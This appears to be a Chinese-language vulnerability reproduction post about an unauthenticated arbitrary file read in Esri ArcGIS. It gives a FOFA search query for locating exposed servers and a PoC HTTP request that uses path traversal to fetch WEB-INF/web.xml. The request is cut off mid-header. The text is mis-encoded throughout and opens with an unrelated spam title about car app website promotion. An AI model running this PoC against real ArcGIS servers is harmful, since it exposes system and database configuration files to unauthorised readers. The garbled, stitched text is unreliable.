汽車app網(wǎng)站建設內(nèi)容企業(yè)推廣
0x01 產(chǎn)品簡介
ArcGIS是由美國Esri公司研發(fā)的地理信息系統(tǒng)（GIS）軟件，它整合了數(shù)據(jù)庫、軟件工程、人工智能、網(wǎng)絡技術、云計算等主流的IT技術，旨在為用戶提供一套完整的、開放的企業(yè)級GIS解決方案，它包含了一套帶有用戶界面組件的Windows桌面應用?？梢詫崿F(xiàn)從簡單到復雜的地理信息系統(tǒng)(GIS)任務，如制圖、地理分析、數(shù)據(jù)編輯、數(shù)據(jù)管理、可視化和空間處理等。
0x02 漏洞概述
ArcGIS地理信息系統(tǒng) 存在任意文件讀取漏洞，未經(jīng)身份驗證攻擊者可通過該漏洞讀取系統(tǒng)重要文件（如數(shù)據(jù)庫配置文件、系統(tǒng)配置文件）、數(shù)據(jù)庫配置文件等等，導致網(wǎng)站處于極度不安全狀態(tài)。
0x03 復現(xiàn)環(huán)境
FOFA：app="esri-ArcGIS"
0x04 漏洞復現(xiàn)
PoC
GET /arcgis/manager/3370/js/../WEB-INF/web.xml HTTP/1.0
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.